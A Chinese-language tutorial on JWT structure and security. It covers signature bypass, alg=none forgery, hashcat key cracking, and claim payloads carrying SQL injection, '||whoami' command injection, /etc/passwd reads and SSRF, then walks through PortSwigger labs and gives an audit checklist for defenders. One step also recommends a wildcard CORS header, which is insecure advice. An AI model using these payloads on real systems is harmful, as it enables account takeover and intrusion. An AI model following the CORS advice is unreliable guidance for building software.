JWT是什么?
JWT全称是JSON Web Token,时RFC 7519定义的一种紧凑、URL安全的声明传输格式。常被用于身份认证、会话管理、API鉴权和微服务之间的身份传递。
例如用户登录成功后,服务器可以生成一枚JWT
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 . eyJzdWIiOiIxMDAxIiwidXNlcm5hbWUiOiJsYWluIiwicm9sZSI6InVzZXIifQ . example_signature
客户端后续访问接口时携带它
GET /api/profile HTTP/1.1
Host: example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...
服务器验证JWT的签名和相关声明,确认令牌可信后,再根据其中的用户身份和权限处理请求
JWT / Cookie
明确两个容易混淆的概念:JWT是令牌格式,不是登录协议,也不是加密算法
JWT和Cookie不是同一层级的东西,不存在说JWT比Cookie更安全。JWT是一种令牌格式,可以放在Cookie中,也可以放在Authorization请求头中,真正存在安全区别的是JWT认证和Session认证两种认证方式。
JWT的主要优势
1.无状态:服务端通常不需要保存session。JWT中可以携带用户ID、角色、权限、过期时间等信息,服务端验证签名即可确认令牌是否合法。
2.适合分布式和微服务:多个服务只要共享验证密钥,或者使用公钥验证签名,就能识别用户身份,不必都访问同一个Session数据库。
3.可以验证完整性和来源:JWT通过签名防止内容被篡改。如果攻击者修改Payload但不能生成有效签名,服务端验证时就会发现。
4.可以携带声明:JWT可以携带sub、exp、aud、iss、角色等声明,方便服务间传递身份和授权信息。
JWT的三段结构
常见的JWT实际上采用的是JWS Compact Serializatoin,由三个Base64URL字符串组成
Header.Payload.Signature
JWS用数字签名或消息认证码保护内容的完整性;如果需要对内容进行加密,则应使用JWE。JWS与JWE是不同的标准
Header:头部
头部说明令牌使用的算法及类型
{
"alg": "HS256",
"typ": "JWT"
}
常见字段
alg:签名算法,如 HS256、RS256、ES256typ:令牌类型,通常为 JWTkid:密钥编号,服务器用它选择验证密钥jwk:直接携带 JSON Web Keyjku:JWK Set 的地址x5u:X.509 证书链地址
其中,JWK是使用JSON表示密码学密钥的标准格式,多个JWK可以组成JWK Set
Payload:载荷
Payload保存JWT的声明,即Claims
{
"iss": "https://auth.example.com",
"sub": "1001",
"aud": "order-api",
"username": "lain",
"role": "user",
"iat": 1783910400,
"exp": 1783911300,
"jti": "0c33c7da"
}
常见的声明标准
| 声明 | 含义 |
|---|
iss | Issuer,签发者 |
sub | Subject,令牌代表的主体 |
aud | Audience,令牌预期接收方 |
exp | Expiration Time,过期时间 |
nbf | Not Before,在该时间之前不可使用 |
iat | Issued At,签发时间 |
jti | JWT ID,令牌唯一编号 |
Signature:签名
签名输入通常是:Base64URL(Header) + “.” + Base64URL(Payload),而Signature = HMAC-SHA256(签名输入, Secret)。这里也恰好说明了一点,JWT是否可信依靠的是算法对应使用的密钥,那么正常情况伪造JWT第一步就是获取对应的密钥。
Payload = 身份证上的文字
Signature = 防伪印章
Secret / 私钥 = 制作防伪印章的核心密钥
以HS256为例:HMAC-SHA256( Base64URL(Header) + “.” + Base64URL(Payload), secret )
最终JWT为Base64URL(Header) + “.” + Base64URL(Payload) + “.” + Base64URL(Signature)
签名的作用是:
1.检测Header或Payload是否被修改
2.证明令牌由掌握密钥的一方签发
3.防止攻击者直接伪造身份和权限声明
JWT的核心安全能力是签名验证:Header.Payload.Signature,服务端可以通过签名确认Header和Payload有没有被修改,Token是否过期是否由可信身份认证系统签发。
Base64URL
JWT中的Header和Payload通常只是Base64URL编码
Base64URL与普通Base64的主要区别是:+ 替换为 – ;/ 替换为 _; 通常省略末尾的 =
因此任何获得JWT的人都可以解码Payload,所以JWT Payload中不应该存放:用户密码、私钥或API密钥等敏感信息。至于签名,签名只保护了完整性,不提供保密性。
JWT工作流程
用户携带用户名和密码请求访问;
- 服务器校验用户凭据;
- 应用提供一个 token 给客户端;
- 客户端存储 token,并且在随后的每一次请求中都带着它;
- 服务器校验 token 并返回数据。
需要注意问题:
- 每一次请求都需要 token;
- Token 应该放在请求 header 中;
- 需要将服务器设置为接受来自所有域的请求,用 Access-Control-Allow-Origin: *。
JWT认证/Session认证及其安全性比较
Session认证流程
用户提交账号密码
↓
服务端验证身份
↓
生成随机Session ID
↓
服务端保存:Session ID → 用户信息
↓
通过Cookie把Session ID返回给浏览器
↓
浏览器后续自动携带Cookie
↓
服务端查询Session并确认身份
JWT认证流程
用户提交账号密码
↓
服务端验证身份
↓
生成包含用户声明的JWT并签名
↓
客户端保存JWT
↓
请求时携带JWT
↓
服务端验证签名、有效期等声明
↓
认证通过
JWT认证和Session认证的安全性比较
Token被盗风险来看,Session ID和JWT通常都是Bearer Token(持有者令牌),因此两者一旦泄露,都可能导致账号被盗用。
数据泄露风险上来看,Session通常只在客户端保存一个随机ID,真实用户信息保存在服务端,而JWT的Payload默认只是Base64URL编码,没有加密,任何拿到JWT的人都能够解码Payload,如果Payload中保存敏感信息就会导致敏感信息泄露。
篡改风险上看,如果Session ID使用可预测的生成方式,攻击者确实可能预测或伪造有效Session;但规范实现的Session ID应由密码学安全随机数生成,本身不需要通过签名防篡改,因为服务端只接受已存在的随机Session ID。JWT则通过签名直接保护Token内容的完整性,在密钥安全、算法配置和验证逻辑正确的前提下,可以防止Payload被修改。
JWT攻击手法
完全没有验证签名
服务端只是解码JWT
DecodedJWT jwt = JWT.decode(token); String role = jwt.getClaim("role").asString();
没有调用真正的验证函数
这时攻击者可以把
{
"role": "user"
}
修改为
{
"role": "admin"
}
签名为空
JWT第一部分含有alg字段,该字段指定生成签名采用哪种哈希算法,如果某站使用的是HS256,可将该字段篡改为none,某些JWT的实现,一旦发现alg为none,将不再生成哈希签名,自然不存在校验签名一说,直接将payload里的username改为admin即可篡改用户信息

将头部alg的值修改为none,接着修改payload内容编码复制前两部分即可,最后一部分因为alg:none所以不存在

爆破弱密钥
将JWT内容保存至jwt.txt文档内
用kali自带的字典或者字典:https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list进行爆破
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 16500 jwt数据文件 爆破jwt的字典
爆破出密钥之后即可修改JWT进行越权等
未验证签名导致越权

直接修改userid编码即可

JWT常见漏洞利用
通过爆破出key以后,可以利用JWT进行漏洞测试
水平越权
把1234567890改为1234567891
{
"sub": "1234567890",
"name": "0xShe",
"sysadmin": "N",
"iat": 1690989833
}
垂直越权
把sysadmin的值N改为Y(NO改为YES或者false改为true)
{
"sub": "1234567890",
"name": "0xShe",
"sysadmin": "Y",
"iat": 1690989833
}
SQL注入
{
"sub": "1234567890",
"name": "0xShe",
"data": "1' UNION SELECT 'key';-- ",
"iat": 1690989833
}
命令执行
{
"sub": "1234567890",
"name": "0xShe",
"echo": "yes||whoami",
"iat": 1690989833
}
文件读取
{
"sub": "1234567890",
"name": "0xShe",
"path": "/etc/passwd",
"iat": 1690989833
}
SSRF
{
"url": "http://www.DNSlog.cn/",
"iat": 1690989833
}
靶场实战
未经验证的签名绕过JWT身份验证
https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature
进入靶场点击登录

普通账号/密码:wiener/peter

登录后用BP抓包看看,很明显的三段JWT

对JWT内容进行解密查看内容

直接修改sub值为administrator


有缺陷的签名验证绕过JWT身份验证
将alg更改为none,sub改为administrator


弱签名密钥绕过JWT身份验证
https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-weak-signing-key
一样的登录普通用户账号然后对JWT内容进行解码查看

这里不清楚使用的密钥,若不知道对应密钥那么伪造的JWT将不会被服务器所认可,所以对密钥进行爆破



JWT审计
审计JWT的重点应该检查
1.签名算法是否安全
重点检查:
- 是否允许
alg=none; - 是否存在RS256与HS256算法混淆;
- 服务端是否直接信任JWT Header中的
alg; - 是否使用MD5、SHA-1等不安全算法;
- 是否明确配置允许的算法白名单。
2. 密钥是否安全
检查:
- 密钥是否硬编码在源码中;
- 是否提交到Git历史、镜像或配置文件中;
- 是否使用默认密钥或示例密钥;
- HMAC密钥是否过短、可被字典爆破;
- 测试和生产环境是否共用密钥;
- 多个业务系统是否共用同一密钥;
- 私钥文件权限是否过大;
- 是否具有密钥轮换机制。
3. 标准声明是否严格校验
重点检查:
exp:是否设置并验证过期时间;nbf:Token是否在允许时间之前被使用;iat:签发时间是否合理;iss:是否由可信认证服务签发;aud:Token是否确实签发给当前系统;sub:用户主体是否有效;jti:是否可用于重放检测和撤销;- 是否合理限制时钟偏差。
只验证签名、不验证exp、iss和aud是不完整的。
4. Header参数是否可控
重点关注:
kid是否可以造成目录穿越或SQL注入;jku、x5u是否允许加载攻击者控制的远程密钥;- 是否可能通过远程取密钥造成SSRF;
- 是否信任攻击者提供的JWK;
- 未找到指定密钥时,是否错误地回退到默认密钥。
服务端应该使用可信的本地映射选择密钥,不能任意访问JWT Header指定的URL或文件。
5. Payload是否包含敏感信息
普通JWT的Payload只是Base64URL编码,不是加密。
检查是否包含:
- 密码或密码哈希;
- 手机号、身份证号;
- 银行卡信息;
- 内部系统敏感字段;
- 密钥或凭证;
- 不应该暴露的用户隐私。
如果需要保密,应使用JWE或者只在JWT中保存用户标识,敏感数据留在服务端。
JWT 密钥硬编码修复
如果发现JWT密钥硬编码,我会将其视为可能已经泄露。首先生成新密钥并轮换旧密钥,使旧Token失效或进入短暂过渡期;还需要检查Git历史、镜像和日志中的泄露范围,并在CI中加入Secret扫描。仅仅把原来的密钥从代码移动到环境变量中并不够,因为旧密钥已经可能被复制。










